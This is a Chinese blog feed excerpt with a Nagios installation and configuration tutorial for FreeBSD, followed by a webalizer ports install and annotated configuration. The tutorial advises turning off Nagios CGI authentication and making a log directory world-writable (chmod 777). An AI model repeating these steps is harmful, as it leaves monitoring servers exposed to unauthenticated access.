<p><span style="color: #000000;">nagios的包含主动监控和被动监控。<br />
主动检查是通过监控中心的主机发出请求，让运行在远程主机上的nrpe守护进程收集信息，然后报告它，它通过web接口把数据显示在页面上。<br />
它的工作原理如下：</span></p>
<p><span style="color: #000000;">被动监控是当远程被监控主机处于防火墙之内的时候，只有远程主机可以访问到监控中心，防火墙之内可以设置另外一个监控中心，远程监控中心的nagios收集服务器信息以后，和nsca报告，由naca客户端报告naca的服务器端，然后报告监控中心的nagios，通过web接口显示监控结果。</span></p>
<p><span style="color: #000000;">nagios的功能非常强大，[url]http://www.nagios.org/[/url]是它的窝，只有e文、法文和日文，没有中文<br />
<span id="more-744"></span><br />
我现在引用它的一段文字进行总结一下到底什么是nagios：<br />
What Is This?<br />
什么是nagios？<br />
Nagios® is a system and network monitoring application. It watches hosts and services that you specify, alerting you when things go bad and when they get better.<br />
Nagios was originally designed to run under Linux, although it should work under most other unices as well.<br />
Some of the many features of Nagios® include:<br />
Monitoring of network services (SMTP, POP3, HTTP, NNTP, PING, etc.)<br />
Monitoring of host resources (processor load, disk usage, etc.)<br />
Simple plugin design that allows users to easily develop their own service checks<br />
Parallelized service checks<br />
Ability to define network host hierarchy using &#8220;parent&#8221; hosts, allowing detection of and distinction between hosts that are down and those that are unreachable<br />
Contact notifications when service or host problems occur and get resolved (via email, pager, or user-defined method)<br />
Ability to define event handlers to be run during service or host events for proactive problem resolution<br />
Automatic log file rotation<br />
Support for implementing redundant monitoring hosts<br />
Optional web interface for viewing current network status, notification and problem history, log file, etc.<br />
Nagios是一个监视系统和网络的应用程序。它监视你所指定主机和服务，当监视的内容变好或者变坏时发出警告。Nagios最初是被设计在Linux平台上运行的，然而现在在其他平台上也运行良好。<br />
Nagios的特性包括：<br />
监视网络服务（SMTP, POP3, HTTP, NNTP, PING, 等等）<br />
监视主机资源（处理器负载、磁盘空间等）<br />
容许用户开发自己的插件去检查自定义的项目；<br />
通过使用“父主机”，定义网络主机的分层，容许探测主机down掉或者不可到达。<br />
可以定义在主机或服务运行期间，事件发生以后如何处理和解决方式；<br />
自动记录错误日志；<br />
支持冗余监视；<br />
可选web接口，通过web页面查看当前网络状态，提示和报告故障历史，日志文件等；</span></p>
<p><span style="color: #000000;">Nagios的系统要求：<br />
Linux、Unix等<br />
apache<br />
GD库（1.63以上）<br />
zlib<br />
pnglib<br />
jpeglib<br />
basic icons<br />
等，其中apache的安装在blog中已经有相关的文章，搜索一下就行；gd、zlib、pnglib和jpeglib安装比较简单，步骤：<br />
下载tarball<br />
tar zxvf xxx.tar.gz<br />
cd xxx<br />
./configure<br />
make &amp;&amp; make install</span></p>
<p><span style="color: #000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Nagios的安装过程(FreeBSD)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
nagios的安装比较简单，复杂的是设置和配置参数的设定。不过你要放松一点，毕竟我们要搞定它，不是吗？那就开始吧：</span></p>
<p><span style="color: #000000;">1：获得最新的安装包，[url]http://www.nagios.org/download[/url]<br />
2：以root身份登录服务器，目前最新的版本是2.5：<br />
1）nagios，版本2.5：<br />
fetch [url]http://superb-west.dl.sourceforge.net/sourceforge/nagios/nagios-2.5.tar.gz[/url]<br />
or<br />
wget [url]http://superb-west.dl.sourceforge.net/sourceforge/nagios/nagios-2.5.tar.gz[/url]</span></p>
<p><span style="color: #000000;">2）获得nagios插件，版本1.4.3：<br />
[url]http://surfnet.dl.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.3.tar.gz[/url]</span></p>
<p><span style="color: #000000;">3）获得图库文件：<br />
[url]http://dl.sf.net/nagios/imagepak-base.tar.gz[/url]</span></p>
<p><span style="color: #000000;">4）NRPE，版本2.5.2<br />
[url]http://ufpr.dl.sourceforge.net/sourceforge/nagios/nrpe-2.5.2.tar.gz[/url]</span></p>
<p><span style="color: #000000;">5）NSCA，版本2.6<br />
[url]http://kent.dl.sourceforge.net/sourceforge/nagios/nsca-2.6.tar.gz[/url]</span></p>
<p><span style="color: #000000;">3：切换到root用户：<br />
sudo su</span></p>
<p><span style="color: #000000;">4：解压缩<br />
tar zxvf nagios-2.5.tar.gz</span></p>
<p><span style="color: #000000;">5：建立运行nagios的用户：<br />
adduser nagios</span></p>
<p><span style="color: #000000;">6：建立安装nagios的文件夹，并使这个文件夹的所有者为nagios:nagios<br />
mkdir /usr/local/nagios<br />
chown nagios.nagios /usr/local/nagios</span></p>
<p><span style="color: #000000;">7：确认web服务器的用户<br />
可能会通过web接口执行一些命令，必须确定web服务器以哪个用户运行的，通常为：apache：<br />
grep &#8220;^User&#8221; /usr/local/apache2/conf/httpd.conf</span></p>
<p><span style="color: #000000;">8：建立命令文件组<br />
这个新的组会包括apache的用户和nagios的用户<br />
pw groupadd nagcmd<br />
pw usermod apache -G nagcmd<br />
pw usermod nagios -G nagcmd<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
cat /etc/group<br />
nagcmd:*:9007:apache,nagios<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color: #000000;">8：运行配置脚本并安装nagios<br />
cd nagios-2.5<br />
./configure &#8211;prefix=/usr/local/nagios &#8211;with-gd-lib=/usr/local/lib &#8211;with-gd-inc=/usr/local/include<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
*** Configuration summary for nagios 2.5 07-13-2006 ***:</span></p>
<p><span style="color: #000000;">General Options:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Nagios executable: nagios<br />
Nagios user/group: nagios,nagios<br />
Command user/group: nagios,nagios<br />
Embedded Perl: no<br />
Event Broker: yes<br />
Install ${prefix}: /usr/local/nagios<br />
Lock file: ${prefix}/var/nagios.lock<br />
Init directory: /usr/local/etc/rc.d<br />
Host OS: freebsd6.0</span></p>
<p><span style="color: #000000;">Web Interface Options:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
HTML URL: [url]http://localhost/nagios/[/url]<br />
CGI URL: [url]http://localhost/nagios/cgi-bin/[/url]<br />
Traceroute (used by WAP): /usr/sbin/traceroute</span></p>
<p><span style="color: #000000;">Review the options above for accuracy. If they look okay,<br />
type &#8216;make all&#8217; to compile the main program and CGIs.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
make all<br />
make install<br />
make install-init<br />
make install-commandmode<br />
make install-config<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
9：安装nagios-plugins<br />
tar zxvf nagios-plugins-1.4.3.tar.gz<br />
cd nagios-plugins-1.4.3<br />
./configure &#8211;prefix=/usr/local/nagios-plugins<br />
make all<br />
make install<br />
安装完成以后在/usr/local/nagios-plugins-plugins会产生一个libexec的目录，将该目录全部移动到/usr/local/nagios目录下即可。<br />
mv /usr/local/nagios-plugins-plugins/libexec/ /usr/local/nagios/</span></p>
<p><span style="color: #000000;">10：imagepak-base.tar.gz的安装<br />
tar –xvzf imagepak-base.tar.gz<br />
解压以后是base目录<br />
mv base/ /usr/local/nagios/share/images/logos/</span></p>
<p><span style="color: #000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
现在开始配置：<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1：配置web接口<br />
假设你已经运行apache，如果没有，请参考：<br />
[url]http://localhost/upload/blog.php?do-showone-tid-18.html[/url]</span></p>
<p><span style="color: #000000;">vi /usr/local/apache2/conf/httpd.conf<br />
添加如下内容：<br />
ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin</span><br />
<span style="color: #000000;">Options ExecCGI<br />
AllowOverride None<br />
Order allow,deny<br />
Allow from all<br />
AuthName &#8220;Nagios Access&#8221;<br />
AuthType Basic<br />
AuthUserFile /usr/local/nagios/etc/htpasswd.users<br />
Require valid-user<br />
</span></p>
<p><span style="color: #000000;">Alias /nagios /usr/local/nagios/share</span><br />
<span style="color: #000000;">Options None<br />
AllowOverride None<br />
Order allow,deny<br />
Allow from all<br />
AuthName &#8220;Nagios Access&#8221;<br />
AuthType Basic<br />
AuthUserFile /usr/local/nagios/etc/htpasswd.users<br />
Require valid-user</p>
<p>修改完毕，保存文件，并重启apache：<br />
/usr/local/apahce2/bin/apachectl restart</span></p>
<p><span style="color: #000000;">2：配置apache的BASIC认证：<br />
生成认证密码：<br />
/usr/local/apache2/bin/htpasswd –c /usr/local/nagios/etc/htpasswd.users nagios nagios<br />
apache接口配置完成。</span></p>
<p><span style="color: #000000;">开始配置nagios：<br />
cd /usr/local/nagios/etc/<br />
在/usr/local/nagios/etc下是nagios的配置模板文件-sample,把.cfg-sample文件全部拷贝成.cfg<br />
例如:cp nagios.cfg-sample nagios.cfg<br />
全部拷贝完成即可.</span></p>
<p><span style="color: #000000;">vi minimal.cfg<br />
注释所有command：<br />
注释的方法是在每一个定义语句前面添加”#“<br />
修改cgi.cfg<br />
修改use_authentication=1为use_authentication=0,即不用验证.不然有一些页面不会显示。</span></p>
<p><span style="color: #000000;">现在检查配置文件是否有语法错误：<br />
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg<br />
如果正确，会显示以下结果：<br />
Total Warnings: 0<br />
Total Errors: 0<br />
否则，需要根据提示进行修改配置文件。</span></p>
<p><span style="color: #000000;">配置文件等会再弄。现在启动nagios<br />
/usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/nagios.cfg</span></p>
<p><span style="color: #000000;">为使nagios异常中断，我们使用daemontools启动：<br />
安装daemontool：<br />
mkdir -p /package<br />
chmod 1755 /package<br />
cd /package<br />
fetch [url]http://cr.yp.to/daemontools/daemontools-0.76.tar.gz[/url]<br />
cd admin/daemontools-0.76/<br />
package/install<br />
检查svscan进程是否启动：<br />
ps aux | grep svscan<br />
root 376 0.0 0.0 1636 0 con- IW &#8211; 0:00.00 /bin/sh /command/svscanboot<br />
root 411 0.0 0.0 1224 208 con- S 8Jul06 0:42.50 svscan /service</span></p>
<p><span style="color: #000000;">ok，启动正常。<br />
cd /service<br />
mkdir nagios<br />
chmod 1755 nagios<br />
touch ./run<br />
chmod 755 ./run<br />
vi run<br />
PATH=/usr/local/bin:/usr/bin:/bin<br />
export PATH</span></p>
<p><span style="color: #000000;">exec env &#8211; PATH=$PATH \<br />
/usr/local/nagios/bin/nagios /usr/local/nagios/etc/nagios.cfg</span></p>
<p><span style="color: #000000;">mkdir log<br />
cd log<br />
touch ./run<br />
chmod 755 ./run<br />
vi ./run<br />
#!/bin/sh<br />
exec setuidgid logadmin multilog t s1000000 n100 ./main</span></p>
<p><span style="color: #000000;">mkdir main<br />
chmod 777 main<br />
chown nagios.nagios main<br />
touch status<br />
chown nagios.nagios status</span></p>
<p><span style="color: #000000;">svc -u /service/nagios/<br />
svstat /service/nagios/<br />
root@## ps auxww | grep nagios<br />
root 23276 0.0 0.1 1176 488 ?? I 5:00PM 0:01.71 supervise nagios<br />
nagios 34251 0.0 0.3 2316 1552 ?? S 6:06PM 0:00.10 /usr/local/nagios/bin/nagios /usr/local/nagios/etc/nagios.cfg<br />
root@## </span></p>
<p><span style="color: #000000;">ok，现在把nagios服务做成自动启动的服务。<br />
通过svc命令可以启动或者停止服务。<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
svc opts services<br />
opts is a series of getopt-style options. services consists of any number of arguments, each argument naming a directory used by supervise. </span></p>
<p><span style="color: #000000;">-u: Up. If the service is not running, start it. If the service stops, restart it.<br />
-d: Down. If the service is running, send it a TERM signal and then a CONT signal. After it stops, do not restart it.<br />
-o: Once. If the service is not running, start it. Do not restart it if it stops.<br />
-p: Pause. Send the service a STOP signal.<br />
-c: Continue. Send the service a CONT signal.<br />
-h: Hangup. Send the service a HUP signal.<br />
-a: Alarm. Send the service an ALRM signal.<br />
-i: Interrupt. Send the service an INT signal.<br />
-t: Terminate. Send the service a TERM signal.<br />
-k: Kill. Send the service a KILL signal.<br />
-x: Exit. supervise will exit as soon as the service is down. If you use this option on a stable system, you&#8217;re doing something wrong; supervise is designed to run forever.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
比如：<br />
停止nagios－－svc -d /service/nagios/<br />
重启nagios－－svc -t /service/nagios/<br />
启动nagios－－svc -u /service/nagios/</span></p>
<p><span style="color: #000000;">当然，你也可以使用inited的方式进行：<br />
/usr/local/etc/rc.d/nagios start/stop</span></p>
<p><span style="color: #000000;">现在打开网页：[url]http://localhost/nagios/[/url]<br />
服务器和服务状态都清楚的看到。<br />
现在我们的nagios中只有一个，那就是它自己，localhost，等会添加别的主机和主机服务，ok，认识一下nagios的庐山真面目：</span></p>
<p><span style="color: #000000;">配置nagios：</span></p>
<p><span style="color: #000000;">1）为主机添加服务<br />
2）添加主机并添加服务<br />
3）停止一个服务<br />
4）删除一台主机和服务<br />
5）查看所有主机的故障<br />
6）查看一台特定的主机状态<br />
7）改变报警的时间间隔<br />
8）改变发现故障的重试次数<br />
9）如何在nagios中使用外部命令</span></p>
<p><span style="color: #000000;">1）为主机添加一个服务<br />
为localhost主机添加qmail服务的监控，方法如下：<br />
vi minimal.cfg<br />
define service{<br />
use generic-service ; Name of service template to use<br />
host_name localhost<br />
service_description qmail_smtp<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_smtp!20%!10%!/<br />
}</span></p>
<p><span style="color: #000000;">可以直接拷贝原有的进行修改，我这个就是拷贝的原有的check_local_disk进行的。<br />
修改host_name，service_description，check_command等</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name localhost<br />
service_description qmail_pop3<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_pop!20%!10%!/<br />
}<br />
照猫画虎的进行修改，然后去修改：<br />
vi checkcommands.cfg<br />
#&#8217;check_qmail&#8217; command definition<br />
define command{<br />
command_name check_qmail<br />
command_line $USER1$/check_smtp -H 127.0.0.1<br />
}<br />
define command{<br />
command_name check_pop3<br />
command_line $USER1$/check_pop -H 127.0.0.1<br />
}<br />
保存，然后检查配置文件：<br />
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg<br />
如果没有错误会显示：<br />
Total Warnings: 0<br />
Total Errors: 0<br />
如果有错误，请根据提示进行错误的修正。<br />
重启nagios<br />
svc -d /service/nagios/ &amp;&amp; svc -u /service/nagios/<br />
通过web页面检查nagios的结果：<br />
[url]http://10.5.1.153/nagios/[/url]<br />
点击“Service Detail”<br />
会出现：</span></p>
<p><span style="color: #000000;">2）添加主机并添加服务<br />
我们会监控这台主机的负载、磁盘等一些没有通过端口方式启动的服务器状态，以及它的服务，比如：apache、mysql、qmail和ntp等等吧。那么没有端口的nagios直接能监控到吗？答案是不行。所以我们必须在两台主机上安装nrpe，nrpe可以启动5666端口，把检测的信息源源不断的传给监控中心的主机。<br />
ok，我们把apache、mysql、qmail和ntp先加上，这回我们把监控的主机和服务新建一个文件：<br />
cd /usr/local/nagios/etc/<br />
touch 10_5_1_156.cfg<br />
vi nagios.cfg<br />
cfg_file=/usr/local/nagios/etc/10_5_1_156.cfg<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
vi 10_5_1_156.cfg<br />
定义一个主机：<br />
define host{<br />
use generic-host ; Name of host template to use<br />
host_name test_nrpe<br />
alias client<br />
address 10.5.1.156<br />
check_command check-host-alive<br />
max_check_attempts 1<br />
check_period 24&#215;7<br />
notification_interval 120<br />
notification_period 24&#215;7<br />
notification_options d,r<br />
contact_groups admins<br />
}</span></p>
<p><span style="color: #000000;">定义主机需要检查的服务：<br />
define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description PING<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_ping!100.0,20%!500.0,60%<br />
}</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description apache<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_http!100.0,20%!500.0,60%<br />
}</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description mysql<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_mysql!100.0,20%!500.0,60%<br />
}</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description ntp<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_ntp!100.0,20%!500.0,60%<br />
}</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description qmail_smtp<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_smtp!100.0,20%!500.0,60%<br />
}</span></p>
<p><span style="color: #000000;">define service{<br />
use generic-service ; Name of service template to use<br />
host_name test_nrpe<br />
service_description qmail_pop3<br />
is_volatile 0<br />
check_period 24&#215;7<br />
max_check_attempts 1<br />
normal_check_interval 1<br />
retry_check_interval 1<br />
contact_groups admins<br />
notification_options w,u,c,r<br />
notification_interval 960<br />
notification_period 24&#215;7<br />
check_command check_pop!100.0,20%!500.0,60%<br />
}<br />
现在我们象上次一样把服务也定义完：</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/744.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 6.2 下ports安装webalizer汉化</title>
		<link>http://www.evanjiang.net.cn/archives/737.html</link>
		<comments>http://www.evanjiang.net.cn/archives/737.html#comments</comments>
		<pubDate>Fri, 06 Mar 2009 06:34:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[FreeBSD 6.2 下 ports 安装 webalizer 汉化]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/737.html</guid>
		<description><![CDATA[<p>先进入ports目录
#cd /usr/ports/
查找webalizer的位置
#make search name=webalizer</p>
<p>Port: webalizer-2.1.10_7
Path: /usr/ports/www/webalizer
Info: A web server log file analysis program
Maint: dinoex@FreeBSD.org
B-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1
R-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1
WWW: http://www.mrunix.net/webalizer/</p>
<p>进入webalizer目录
#cd /usr/ports/www/webalizer
先make一下 注意下面的参数
#make WEBALIZER_LANG?=chinese
之后进行安装
#make install
基本汉化完成 如果出现乱码问题请安装繁体中文支持(Win平台的) 让IE可以识别就可以了
QUOTE:
# 设定 Apache 联机记录文件的位置。
#LogFile /var/lib/httpd/logs/access_log
LogFile /var/log/httpd-access.log

# 设定 log 文件的型式，Webalizer 除了 Apache 外，还可以支持分析 FTP 软件
# 或 proxy 软件 squid 的 log 文件。LogType 预设的值是 &#8216;clf&#8217;，表示分析
# 网页数据，你也可以设定为 ftp [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;">先进入ports目录<br />
#cd /usr/ports/<br />
查找webalizer的位置<br />
#make search name=webalizer</span></p>
<p><span style="color: #000000;">Port: webalizer-2.1.10_7<br />
Path: /usr/ports/www/webalizer<br />
Info: A web server log file analysis program<br />
Maint: dinoex@FreeBSD.org<br />
B-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1<br />
R-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1<br />
WWW: http://www.mrunix.net/webalizer/</span></p>
<p><span style="color: #000000;">进入webalizer目录<br />
#cd /usr/ports/www/webalizer<br />
先make一下 注意下面的参数<br />
#make WEBALIZER_LANG?=chinese<br />
之后进行安装<br />
#make install<br />
基本汉化完成 如果出现乱码问题请安装繁体中文支持(Win平台的) 让IE可以识别就可以了<br />
QUOTE:<br />
# 设定 Apache 联机记录文件的位置。<br />
#LogFile /var/lib/httpd/logs/access_log<br />
LogFile /var/log/httpd-access.log<br />
<span id="more-737"></span><br />
# 设定 log 文件的型式，Webalizer 除了 Apache 外，还可以支持分析 FTP 软件<br />
# 或 proxy 软件 squid 的 log 文件。LogType 预设的值是 &#8216;clf&#8217;，表示分析<br />
# 网页数据，你也可以设定为 ftp 或 squid。<br />
#LogType clf</span></p>
<p><span style="color: #000000;"># OutputDir 是我们想要输出分析数据的位置。请设定为网页根目录下的某一个<br />
# 目录。例如我们的网页根目录是 /home/www，请先在该目录下建立一个子目录<br />
# 名为 traffic，接着再设定 OutputDir 为 /home/www/traffic。<br />
#OutputDir /var/lib/httpd/htdocs/usage<br />
OutputDir /home/www/traffic</span></p>
<p><span style="color: #000000;"># HistoryName 可以让我们设定 webalizer 所产生的历史记录文件的文件名。这个档<br />
# 可以用来产生 主要的 HTML 页面 (index.html)，我们不需要修改。<br />
#HistoryName webalizer.hist<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
# 由于我们可能会设定某一段时间自动将 Apache 的 log 压缩或删除。而<br />
# Incremental 这个变量可以让我们在产生分析资料时，只更新增加的部份<br />
# 而分析过的资料就不再分析，以免覆盖了旧有的资料。<br />
#Incremental no<br />
Incremental yes</span></p>
<p><span style="color: #000000;"># 若您设定 Incremental 为 yes，IncrementalName 可以让您设定目前增加<br />
# 的分析数据存放位置。<br />
#IncrementalName webalizer.current</span></p>
<p><span style="color: #000000;"># ReportTitle 是分析结果网页的标题。在该标题后会加上您的主机名称。<br />
#ReportTitle Usage Statistics for</span></p>
<p><span style="color: #000000;"># 设定您的主机名称。<br />
#HostName localhost</span></p>
<p><span style="color: #000000;"># HTMLExtension 是所产生的 HTML 档的扩展名。<br />
#HTMLExtension html</span></p>
<p><span style="color: #000000;"># PageType 可以让您设定何种扩展名结尾的页面要加入分析数据。因为在<br />
# log 文件中有一些图片，而这些图版我们并不希望加入分析数据中，或者我<br />
# 们也可以增加 PHP 页面的分析数据。所以在这里，我们加上一行用来分析<br />
# PHP 页面的设定。<br />
PageType htm*<br />
PageType cgi<br />
PageType php<br />
#PageType phtml<br />
#PageType php3<br />
#PageType pl</span></p>
<p><span style="color: #000000;"># 如果您希望只使用 https 才可以连到分析页面，则将 UseHTTPS 设为 yes。<br />
#UseHTTPS no</span></p>
<p><span style="color: #000000;"># DNSCache 可以设定 DNS 快取的文件名称，在分析数据时，可能会一直需要<br />
# 做 DNS 的分析，这个档可以提高 DNS 查询的效率。<br />
#DNSCache dns_cache.db</span></p>
<p><span style="color: #000000;"># DNSChildren 可以设定要使用多少 process 来做 DNS 查询，预设是 0，表示<br />
# 不查询，我们可以设定的值从 1 到 100。最好不要设太多，以免消耗太多系统<br />
# 资源。<br />
#DNSChildren 0</span></p>
<p><span style="color: #000000;"># HTMLPre 是用设定每个 HTML 档案开头第一行要插入的字，最长 80 个字符。<br />
#HTMLPre <!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//E--></span></p>
<p><span style="color: #000000;"># HTMLHead 可以让我们设定 HTML 页面 中间要插入的字。最长<br />
# 也是 80 个字符。<br />
#HTMLHead</span></p>
<p><span style="color: #000000;"># HTMLBody 会取代在 HTML 页面中的 这个标签。可以让我们设定网页<br />
# 的一些属性。最长也是 80 个字符。<br />
#HTMLBody</span></p>
<p><span style="color: #000000;"># HTMLPost 会将设定的字符串插入 HTML 第一个<br />
<hr />标签之后，最长也是 80 个<br />
# 字。<br />
#HTMLPost</span></p>
<p><span style="color: #000000;"># HTMLTail 可以设定 HTML 页面的结尾所要插入的字符串。最长 80 个字符。<br />
#HTMLTail <img src="msfree.png" alt="100% Micro$oft free!" /></span></p>
<p><span style="color: #000000;"># HTMLEnd可以设定 HTML 页面的最后结尾所要插入的字符串。我们最少要有<br />
# 和 这二个标签，最长 80 个字符。<br />
#HTMLEnd</span></p>
<p><span style="color: #000000;"># Quiet 可以让我们设定在分析时是否要输出讯息，因为我们会使用 crontab<br />
# 定时执行，所以不要输出分析过程的讯息比较好。<br />
Quiet yes</span></p>
<p><span style="color: #000000;"># ReallyQuiet 可以设定档有错误产生时，是否要输出讯息。<br />
#ReallyQuiet no</span></p>
<p><span style="color: #000000;"># TimeMe 可以设定在分析之后是否要输出时间。<br />
#TimeMe no</span></p>
<p><span style="color: #000000;"># GMTTime 可以设定是否要使用 GMT (UTC) 时间而非本地时间。<br />
#GMTTime no</span></p>
<p><span style="color: #000000;"># Debug 可以设定是否要输出除错讯息。<br />
#Debug no</span></p>
<p><span style="color: #000000;"># FoldSeqErr 可以让 Webalizer 忽略读取 log 档的错误。<br />
#FoldSeqErr no</span></p>
<p><span style="color: #000000;"># VisitTimeout 可以设定 session 的到期时间，默认值是 30 分钟。<br />
#VisitTimeout 1800</span></p>
<p><span style="color: #000000;"># IgnoreHist 请保持 no。<br />
#IgnoreHist no</span></p>
<p><span style="color: #000000;"># Country Graph 是用来显示分析资料中关于国家的统计资料是否要显示。<br />
#CountryGraph yes</span></p>
<p><span style="color: #000000;"># DailyGraph 及 DailyStats 是设定是否显示每日分析资料。<br />
#DailyGraph yes<br />
#DailyStats yes</span></p>
<p><span style="color: #000000;"># HourlyGraph 是 HourlyStats是设定是否显示每小时分析资料。<br />
#HourlyGraph yes<br />
#HourlyStats yes</span></p>
<p><span style="color: #000000;"># GraphLegend 是设定是否要显示彩色图表。<br />
#GraphLegend yes</span></p>
<p><span style="color: #000000;"># GraphLines 是用来设定图表的网格线数量，最多 20。<br />
#GraphLines 2<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
# &#8220;Top&#8221; 的选项是每一个分格表格中，要显示多少笔前几名的资料。<br />
#TopSites 30<br />
#TopKSites 10<br />
#TopURLs 30<br />
#TopKURLs 10<br />
#TopReferrers 30<br />
#TopAgents 15<br />
